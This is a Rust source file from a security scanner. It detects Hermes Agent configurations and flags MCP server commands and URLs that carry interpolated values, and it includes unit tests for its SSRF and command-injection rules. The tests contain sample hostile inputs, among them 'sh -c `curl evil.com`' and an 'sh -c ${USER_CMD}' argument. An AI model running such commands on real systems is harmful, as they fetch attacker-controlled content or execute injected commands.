Skip to main content

agentshield/adapter/
hermes.rs

1//! Hermes Agent adapter.
2//!
3//! Detects Hermes Agent client configuration and skill trees, then loads:
4//! - `config.yaml` / `.hermes/config.yaml` / profile configs with `mcp_servers`
5//! - `.hermes.md` project context
6//! - `skills/`, `optional-skills/`, and `optional-mcps/` artifacts
7
8use std::path::{Path, PathBuf};
9
10use once_cell::sync::Lazy;
11use regex::Regex;
12
13use crate::analysis::cross_file::apply_cross_file_sanitization;
14use crate::analysis::sensitivity::looks_sensitive_name;
15use crate::config::ScanPathFilter;
16use crate::error::Result;
17use crate::ir::execution_surface::{
18    CommandInvocation, EnvAccess, ExecutionSurface, NetworkOperation,
19};
20use crate::ir::taint_builder::build_data_surface;
21use crate::ir::tool_surface::ToolSurface;
22use crate::ir::*;
23use crate::parser;
24
25/// Hermes Agent client adapter.
26///
27/// Detection intentionally requires Hermes-specific artifacts. Generic context
28/// files such as `AGENTS.md` and `CLAUDE.md` are not enough to avoid treating
29/// ordinary coding-agent projects as Hermes projects.
30pub struct HermesAgentAdapter;
31
32impl super::Adapter for HermesAgentAdapter {
33    fn framework(&self) -> Framework {
34        Framework::HermesAgent
35    }
36
37    fn detect(&self, root: &Path) -> bool {
38        let has_other_hermes_artifact = root.join(".hermes.md").exists()
39            || has_profile_config(root)
40            || has_hermes_skill_tree(root)
41            || has_optional_mcp_catalog(root);
42
43        // `.hermes/config.yaml` is a Hermes-specific path, so `model:` alone
44        // is trusted there. A bare top-level `config.yaml` is generic enough
45        // (ML/CI configs use `model:` too) that `model:` only counts when
46        // paired with another Hermes artifact already found above.
47        has_other_hermes_artifact
48            || looks_like_hermes_config(&root.join("config.yaml"), has_other_hermes_artifact)
49            || looks_like_hermes_config(&root.join(".hermes").join("config.yaml"), true)
50    }
51
52    fn load(&self, root: &Path, ignore_tests: bool) -> Result<Vec<ScanTarget>> {
53        let filter = ScanPathFilter::for_ignore_tests(ignore_tests);
54        self.load_with_filter(root, &filter)
55    }
56
57    fn load_with_filter(&self, root: &Path, filter: &ScanPathFilter) -> Result<Vec<ScanTarget>> {
58        let name = root
59            .file_name()
60            .map(|n| n.to_string_lossy().to_string())
61            .unwrap_or_else(|| "hermes-agent".into());
62
63        let mut tools: Vec<ToolSurface> = Vec::new();
64        let mut execution = ExecutionSurface::default();
65        let mut source_files: Vec<SourceFile> = Vec::new();
66
67        collect_hermes_source_files(root, filter, &mut source_files)?;
68
69        for sf in &source_files {
70            if is_yaml_file(&sf.path) {
71                parse_mcp_servers_from_yaml(&sf.content, &sf.path, &mut tools, &mut execution);
72            }
73        }
74
75        let mut parsed_files: Vec<(PathBuf, parser::ParsedFile)> = Vec::new();
76        for sf in &source_files {
77            if let Some(parser) = parser::parser_for_language(sf.language) {
78                if let Ok(parsed) = parser.parse_file(&sf.path, &sf.content) {
79                    parsed_files.push((sf.path.clone(), parsed));
80                }
81            }
82        }
83
84        apply_cross_file_sanitization(&mut parsed_files);
85
86        for (_, parsed) in parsed_files {
87            execution.commands.extend(parsed.commands);
88            execution.file_operations.extend(parsed.file_operations);
89            execution
90                .network_operations
91                .extend(parsed.network_operations);
92            execution.env_accesses.extend(parsed.env_accesses);
93            execution.dynamic_exec.extend(parsed.dynamic_exec);
94        }
95
96        let dependencies = super::mcp::parse_dependencies(root, filter);
97        let provenance = super::mcp::parse_provenance(root, filter);
98        let data = build_data_surface(&tools, &execution);
99
100        Ok(vec![ScanTarget {
101            name,
102            framework: Framework::HermesAgent,
103            root_path: root.to_path_buf(),
104            tools,
105            execution,
106            data,
107            dependencies,
108            provenance,
109            source_files,
110        }])
111    }
112}
113
114/// Classify a Hermes config scalar (a `command:`/`url:` value, after
115/// argument-list expansion) as `Interpolated` when it contains a template
116/// or environment placeholder, or `Literal` otherwise.
117///
118/// Hermes configs commonly reference runtime values via `${VAR}`, `$VAR`,
119/// `{{var}}`, or backtick shell substitution. A plain literal like
120/// `https://api.example.com` is genuinely static and should not be treated
121/// as attacker-controlled, but a value like `"{{base_url}}/api"` resolves
122/// at Hermes runtime and deserves the same scrutiny as a source-code
123/// string built from a tainted variable.
124fn classify_config_value(value: &str) -> ArgumentSource {
125    if contains_config_interpolation(value) {
126        ArgumentSource::Interpolated
127    } else {
128        ArgumentSource::Literal(value.to_string())
129    }
130}
131
132static INTERPOLATION_RE: Lazy<Regex> = Lazy::new(|| {
133    Regex::new(r"\$\{[^}]+\}|\$\w+|\{\{[^}]+\}\}|`[^`]+`").expect("static regex pattern is valid")
134});
135
136fn contains_config_interpolation(value: &str) -> bool {
137    INTERPOLATION_RE.is_match(value)
138}
139
140/// Does this YAML file look like a Hermes config?
141///
142/// `mcp_servers`/`skills`/`terminal`/`gateway`/`sessions` are strong,
143/// Hermes-specific top-level keys. `model` alone is too generic (ML/CI
144/// configs use it too) and is only trusted when `trust_model_alone` is set
145/// by the caller — i.e. the path itself is Hermes-specific (`.hermes/`,
146/// `profiles/*/`) or another Hermes artifact was already found.
147fn looks_like_hermes_config(path: &Path, trust_model_alone: bool) -> bool {
148    let Ok(content) = std::fs::read_to_string(path) else {
149        return false;
150    };
151
152    has_top_level_key(&content, "mcp_servers")
153        || has_top_level_key(&content, "skills")
154        || has_top_level_key(&content, "terminal")
155        || has_top_level_key(&content, "gateway")
156        || has_top_level_key(&content, "sessions")
157        || (trust_model_alone && has_top_level_key(&content, "model"))
158}
159
160/// Does `content` contain `key:` as an unindented, uncommented top-level
161/// YAML mapping key? Avoids matching the key inside comments, nested
162/// mappings, or string values.
163fn has_top_level_key(content: &str, key: &str) -> bool {
164    content.lines().any(|line| {
165        !line.starts_with(' ')
166            && !line.starts_with('\t')
167            && line
168                .trim_start()
169                .strip_prefix(key)
170                .is_some_and(|rest| rest.starts_with(':'))
171    })
172}
173
174fn has_profile_config(root: &Path) -> bool {
175    let profiles_dir = root.join("profiles");
176    let Ok(entries) = std::fs::read_dir(profiles_dir) else {
177        return false;
178    };
179
180    entries
181        .flatten()
182        .any(|entry| looks_like_hermes_config(&entry.path().join("config.yaml"), true))
183}
184
185fn has_hermes_skill_tree(root: &Path) -> bool {
186    has_skill_md_under(&root.join("skills")) || has_skill_md_under(&root.join("optional-skills"))
187}
188
189fn has_optional_mcp_catalog(root: &Path) -> bool {
190    let catalog_dir = root.join("optional-mcps");
191    let Ok(entries) = std::fs::read_dir(catalog_dir) else {
192        return false;
193    };
194
195    entries
196        .flatten()
197        .any(|entry| entry.path().join("manifest.yaml").exists())
198}
199
200fn has_skill_md_under(dir: &Path) -> bool {
201    let Ok(entries) = std::fs::read_dir(dir) else {
202        return false;
203    };
204
205    entries.flatten().any(|entry| {
206        let path = entry.path();
207        path.join("SKILL.md").exists() || has_skill_md_under(&path)
208    })
209}
210
211fn collect_hermes_source_files(
212    root: &Path,
213    filter: &ScanPathFilter,
214    source_files: &mut Vec<SourceFile>,
215) -> Result<()> {
216    for path in [
217        root.join("config.yaml"),
218        root.join(".hermes").join("config.yaml"),
219        root.join(".hermes.md"),
220        root.join("SOUL.md"),
221    ] {
222        push_source_file_if_allowed(root, &path, filter, source_files)?;
223    }
224
225    collect_profile_configs(root, filter, source_files)?;
226
227    for dir in [
228        root.join("skills"),
229        root.join("optional-skills"),
230        root.join("optional-mcps"),
231    ] {
232        collect_artifact_tree(root, &dir, filter, source_files)?;
233    }
234
235    Ok(())
236}
237
238fn collect_profile_configs(
239    root: &Path,
240    filter: &ScanPathFilter,
241    source_files: &mut Vec<SourceFile>,
242) -> Result<()> {
243    let profiles_dir = root.join("profiles");
244    let Ok(entries) = std::fs::read_dir(profiles_dir) else {
245        return Ok(());
246    };
247
248    for entry in entries.flatten() {
249        push_source_file_if_allowed(
250            root,
251            &entry.path().join("config.yaml"),
252            filter,
253            source_files,
254        )?;
255    }
256
257    Ok(())
258}
259
260fn collect_artifact_tree(
261    root: &Path,
262    dir: &Path,
263    filter: &ScanPathFilter,
264    source_files: &mut Vec<SourceFile>,
265) -> Result<()> {
266    if !dir.exists() {
267        return Ok(());
268    }
269
270    let walker = ignore::WalkBuilder::new(dir)
271        .hidden(true)
272        .git_ignore(true)
273        .max_depth(Some(6))
274        .build();
275
276    for entry in walker.flatten() {
277        let path = entry.path();
278        if !path.is_file() {
279            continue;
280        }
281
282        if filter.ignore_tests() && super::mcp::is_test_file(path) {
283            continue;
284        }
285
286        if !filter.allows_path(root, path) {
287            continue;
288        }
289
290        let Some(file_name) = path.file_name().map(|n| n.to_string_lossy()) else {
291            continue;
292        };
293
294        let language = language_for_path(path);
295        let is_relevant = file_name == "SKILL.md"
296            || file_name == "manifest.yaml"
297            || matches!(
298                language,
299                Language::Python
300                    | Language::Shell
301                    | Language::JavaScript
302                    | Language::TypeScript
303                    | Language::Json
304                    | Language::Yaml
305                    | Language::Markdown
306            );
307
308        if is_relevant {
309            push_source_file(path, source_files)?;
310        }
311    }
312
313    Ok(())
314}
315
316fn push_source_file_if_allowed(
317    root: &Path,
318    path: &Path,
319    filter: &ScanPathFilter,
320    source_files: &mut Vec<SourceFile>,
321) -> Result<()> {
322    if filter.allows_path(root, path) {
323        push_source_file(path, source_files)?;
324    }
325    Ok(())
326}
327
328fn push_source_file(path: &Path, source_files: &mut Vec<SourceFile>) -> Result<()> {
329    if !path.exists() || !path.is_file() {
330        return Ok(());
331    }
332
333    let metadata = std::fs::metadata(path)?;
334    if metadata.len() > 1_048_576 {
335        return Ok(());
336    }
337
338    if let Ok(content) = std::fs::read_to_string(path) {
339        let hash = format!(
340            "{:x}",
341            sha2::Digest::finalize(sha2::Sha256::new().chain_update(content.as_bytes()))
342        );
343        source_files.push(SourceFile {
344            path: path.to_path_buf(),
345            language: language_for_path(path),
346            size_bytes: metadata.len(),
347            content_hash: hash,
348            content,
349        });
350    }
351
352    Ok(())
353}
354
355fn language_for_path(path: &Path) -> Language {
356    let Some(file_name) = path.file_name().map(|n| n.to_string_lossy()) else {
357        return Language::Unknown;
358    };
359
360    if file_name == ".hermes.md" || file_name == "SKILL.md" || file_name == "SOUL.md" {
361        return Language::Markdown;
362    }
363
364    let ext = path
365        .extension()
366        .map(|e| e.to_string_lossy().to_string())
367        .unwrap_or_default();
368    Language::from_extension(&ext)
369}
370
371fn is_yaml_file(path: &Path) -> bool {
372    matches!(language_for_path(path), Language::Yaml)
373}
374
375#[derive(Debug, Default)]
376struct HermesMcpServer {
377    name: String,
378    command: Option<String>,
379    args: Vec<String>,
380    url: Option<String>,
381    env_vars: Vec<String>,
382    headers: Vec<String>,
383    enabled: bool,
384    line: usize,
385}
386
387fn parse_mcp_servers_from_yaml(
388    content: &str,
389    path: &Path,
390    tools: &mut Vec<ToolSurface>,
391    execution: &mut ExecutionSurface,
392) {
393    let servers = parse_mcp_server_entries(content);
394
395    for server in servers.into_iter().filter(|server| server.enabled) {
396        let location = SourceLocation {
397            file: path.to_path_buf(),
398            line: server.line,
399            column: 0,
400            end_line: None,
401            end_column: None,
402        };
403
404        tools.push(ToolSurface {
405            name: server.name.clone(),
406            description: Some(format!(
407                "MCP server '{}' configured in Hermes Agent",
408                server.name
409            )),
410            input_schema: Some(serde_json::json!({
411                "type": "object",
412                "properties": {}
413            })),
414            output_schema: None,
415            declared_permissions: vec![],
416            defined_at: Some(location.clone()),
417            declared_capabilities: Default::default(),
418            capability_declarations: Vec::new(),
419            observed_capabilities: Default::default(),
420            capability_observation_complete: false,
421            capability_evidence: Vec::new(),
422        });
423
424        if let Some(command) = server.command {
425            let full_command = if server.args.is_empty() {
426                command.clone()
427            } else {
428                format!("{} {}", command, server.args.join(" "))
429            };
430            execution.commands.push(CommandInvocation {
431                function: command,
432                command_arg: classify_config_value(&full_command),
433                location: location.clone(),
434            });
435        }
436
437        if let Some(url) = server.url {
438            execution.network_operations.push(NetworkOperation {
439                function: "hermes.mcp.http".into(),
440                url_arg: classify_config_value(&url),
441                method: None,
442                sends_data: true,
443                location: location.clone(),
444            });
445        }
446
447        for var_name in server.env_vars {
448            execution.env_accesses.push(EnvAccess {
449                is_sensitive: looks_sensitive_name(&var_name),
450                var_name: ArgumentSource::Literal(var_name),
451                location: location.clone(),
452            });
453        }
454
455        for header_name in server.headers {
456            execution.env_accesses.push(EnvAccess {
457                is_sensitive: looks_sensitive_name(&header_name),
458                var_name: ArgumentSource::Literal(format!("header:{header_name}")),
459                location: location.clone(),
460            });
461        }
462    }
463}
464
465fn parse_mcp_server_entries(content: &str) -> Vec<HermesMcpServer> {
466    let mut servers = Vec::new();
467    let mut in_mcp_servers = false;
468    let mut mcp_indent = 0usize;
469    let mut current: Option<HermesMcpServer> = None;
470    let mut current_indent = 0usize;
471    let mut section: Option<&str> = None;
472
473    for (line_index, raw_line) in content.lines().enumerate() {
474        let line_no = line_index + 1;
475        let trimmed = raw_line.trim();
476        if trimmed.is_empty() || trimmed.starts_with('#') {
477            continue;
478        }
479
480        let indent = raw_line.len() - raw_line.trim_start().len();
481        if trimmed == "mcp_servers:" {
482            in_mcp_servers = true;
483            mcp_indent = indent;
484            continue;
485        }
486
487        if !in_mcp_servers {
488            continue;
489        }
490
491        if indent <= mcp_indent {
492            break;
493        }
494
495        if indent == mcp_indent + 2 && trimmed.ends_with(':') && !trimmed.contains(' ') {
496            if let Some(server) = current.take() {
497                servers.push(server);
498            }
499            let name = trimmed.trim_end_matches(':').to_string();
500            current = Some(HermesMcpServer {
501                name,
502                enabled: true,
503                line: line_no,
504                ..Default::default()
505            });
506            current_indent = indent;
507            section = None;
508            continue;
509        }
510
511        let Some(server) = current.as_mut() else {
512            continue;
513        };
514
515        if indent <= current_indent {
516            section = None;
517            continue;
518        }
519
520        if trimmed == "env:" || trimmed == "headers:" || trimmed == "args:" {
521            section = Some(trimmed.trim_end_matches(':'));
522            continue;
523        }
524
525        if let Some(value) = trimmed.strip_prefix("command:") {
526            server.command = Some(clean_scalar(value));
527            section = None;
528            continue;
529        }
530
531        if let Some(value) = trimmed.strip_prefix("url:") {
532            server.url = Some(clean_scalar(value));
533            section = None;
534            continue;
535        }
536
537        if let Some(value) = trimmed.strip_prefix("enabled:") {
538            server.enabled = clean_scalar(value) != "false";
539            section = None;
540            continue;
541        }
542
543        if let Some(value) = trimmed.strip_prefix("args:") {
544            server.args.extend(parse_inline_list(value));
545            section = Some("args");
546            continue;
547        }
548
549        match section {
550            Some("env") => {
551                if let Some((key, _)) = trimmed.split_once(':') {
552                    server.env_vars.push(clean_scalar(key));
553                }
554            }
555            Some("headers") => {
556                if let Some((key, _)) = trimmed.split_once(':') {
557                    server.headers.push(clean_scalar(key));
558                }
559            }
560            Some("args") => {
561                if let Some(arg) = trimmed.strip_prefix('-') {
562                    server.args.push(clean_scalar(arg));
563                }
564            }
565            _ => {}
566        }
567    }
568
569    if let Some(server) = current {
570        servers.push(server);
571    }
572
573    servers
574}
575
576fn parse_inline_list(value: &str) -> Vec<String> {
577    let value = value.trim();
578    if !value.starts_with('[') || !value.ends_with(']') {
579        return Vec::new();
580    }
581
582    value
583        .trim_start_matches('[')
584        .trim_end_matches(']')
585        .split(',')
586        .map(clean_scalar)
587        .filter(|item| !item.is_empty())
588        .collect()
589}
590
591fn clean_scalar(value: &str) -> String {
592    value
593        .trim()
594        .trim_matches('"')
595        .trim_matches('\'')
596        .to_string()
597}
598
599use sha2::Digest;
600
601#[cfg(test)]
602mod tests {
603    use super::*;
604    use crate::adapter::Adapter;
605
606    fn fixture_dir() -> PathBuf {
607        PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/hermes_agent")
608    }
609
610    #[test]
611    fn test_detect_hermes_agent() {
612        let adapter = HermesAgentAdapter;
613        assert!(adapter.detect(&fixture_dir()));
614    }
615
616    #[test]
617    fn test_detect_non_hermes_project() {
618        let adapter = HermesAgentAdapter;
619        let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
620            .join("tests/fixtures/mcp_servers/safe_calculator");
621        assert!(!adapter.detect(&dir));
622    }
623
624    #[test]
625    fn test_bare_model_key_alone_does_not_detect_hermes() {
626        let temp = tempfile::tempdir().unwrap();
627        std::fs::write(temp.path().join("config.yaml"), "model: gpt-4\n").unwrap();
628
629        let adapter = HermesAgentAdapter;
630        assert!(
631            !adapter.detect(temp.path()),
632            "a generic config.yaml with only `model:` should not be detected as Hermes"
633        );
634    }
635
636    #[test]
637    fn test_model_key_under_hermes_dir_detects_hermes() {
638        let temp = tempfile::tempdir().unwrap();
639        std::fs::create_dir_all(temp.path().join(".hermes")).unwrap();
640        std::fs::write(
641            temp.path().join(".hermes").join("config.yaml"),
642            "model: gpt-4\n",
643        )
644        .unwrap();
645
646        let adapter = HermesAgentAdapter;
647        assert!(
648            adapter.detect(temp.path()),
649            ".hermes/config.yaml with `model:` should be detected as Hermes"
650        );
651    }
652
653    #[test]
654    fn test_mcp_servers_key_detects_hermes() {
655        let temp = tempfile::tempdir().unwrap();
656        std::fs::write(
657            temp.path().join("config.yaml"),
658            "mcp_servers:\n  svc:\n    command: npx\n",
659        )
660        .unwrap();
661
662        let adapter = HermesAgentAdapter;
663        assert!(
664            adapter.detect(temp.path()),
665            "a config.yaml with `mcp_servers:` should be detected as Hermes"
666        );
667    }
668
669    #[test]
670    fn test_load_hermes_framework() {
671        let adapter = HermesAgentAdapter;
672        let targets = adapter.load(&fixture_dir(), false).unwrap();
673        assert_eq!(targets.len(), 1);
674        assert_eq!(targets[0].framework, Framework::HermesAgent);
675    }
676
677    #[test]
678    fn test_load_hermes_mcp_servers() {
679        let adapter = HermesAgentAdapter;
680        let targets = adapter.load(&fixture_dir(), false).unwrap();
681        let target = &targets[0];
682
683        let tool_names: Vec<&str> = target.tools.iter().map(|tool| tool.name.as_str()).collect();
684        assert!(tool_names.contains(&"filesystem"));
685        assert!(tool_names.contains(&"company_api"));
686        assert!(!tool_names.contains(&"legacy"));
687
688        assert!(
689            target
690                .execution
691                .commands
692                .iter()
693                .any(|command| command.function == "npx")
694        );
695        assert!(target
696            .execution
697            .network_operations
698            .iter()
699            .any(|network| matches!(&network.url_arg, ArgumentSource::Literal(url) if url == "https://mcp.internal.example.com")));
700    }
701
702    #[test]
703    fn test_load_hermes_sensitive_env_and_headers() {
704        let adapter = HermesAgentAdapter;
705        let targets = adapter.load(&fixture_dir(), false).unwrap();
706        let target = &targets[0];
707
708        assert!(target.execution.env_accesses.iter().any(|env| {
709            env.is_sensitive
710                && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "GITHUB_PERSONAL_ACCESS_TOKEN")
711        }));
712        assert!(target.execution.env_accesses.iter().any(|env| {
713            env.is_sensitive
714                && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "header:Authorization")
715        }));
716    }
717
718    #[test]
719    fn test_classify_config_value_plain_literal() {
720        assert_eq!(
721            classify_config_value("https://api.example.com"),
722            ArgumentSource::Literal("https://api.example.com".into())
723        );
724        assert_eq!(
725            classify_config_value("npx -y @modelcontextprotocol/server-filesystem"),
726            ArgumentSource::Literal("npx -y @modelcontextprotocol/server-filesystem".into())
727        );
728    }
729
730    #[test]
731    fn test_classify_config_value_detects_interpolation() {
732        for value in [
733            "${MCP_URL}",
734            "$MCP_URL",
735            "{{base_url}}/api",
736            "sh -c `curl evil.com`",
737        ] {
738            assert_eq!(
739                classify_config_value(value),
740                ArgumentSource::Interpolated,
741                "{value} should be classified as Interpolated"
742            );
743        }
744    }
745
746    fn run_rule_on_hermes_config(rule_id: &str, content: &str) -> Vec<crate::rules::Finding> {
747        let temp = tempfile::tempdir().unwrap();
748        std::fs::write(temp.path().join("config.yaml"), content).unwrap();
749
750        let adapter = HermesAgentAdapter;
751        let targets = adapter.load(temp.path(), false).unwrap();
752        crate::rules::builtin::all_detectors()
753            .into_iter()
754            .find(|d| d.metadata().id == rule_id)
755            .unwrap_or_else(|| panic!("no detector registered for {rule_id}"))
756            .run(&targets[0])
757    }
758
759    #[test]
760    fn test_literal_url_does_not_trigger_ssrf() {
761        let content = "mcp_servers:\n  svc:\n    url: https://api.example.com\n";
762        let findings = run_rule_on_hermes_config("SHIELD-003", content);
763        assert!(
764            findings.is_empty(),
765            "a plain literal URL should not trigger SHIELD-003, got {findings:?}"
766        );
767    }
768
769    #[test]
770    fn test_interpolated_url_triggers_ssrf() {
771        let content = "mcp_servers:\n  svc:\n    url: \"{{base_url}}/api\"\n";
772        let findings = run_rule_on_hermes_config("SHIELD-003", content);
773        assert!(
774            !findings.is_empty(),
775            "an interpolated URL should trigger SHIELD-003"
776        );
777    }
778
779    #[test]
780    fn test_interpolated_command_arg_triggers_command_injection() {
781        let content =
782            "mcp_servers:\n  svc:\n    command: sh\n    args: [\"-c\", \"${USER_CMD}\"]\n";
783        let findings = run_rule_on_hermes_config("SHIELD-001", content);
784        assert!(
785            !findings.is_empty(),
786            "an interpolated command arg should trigger SHIELD-001"
787        );
788    }
789}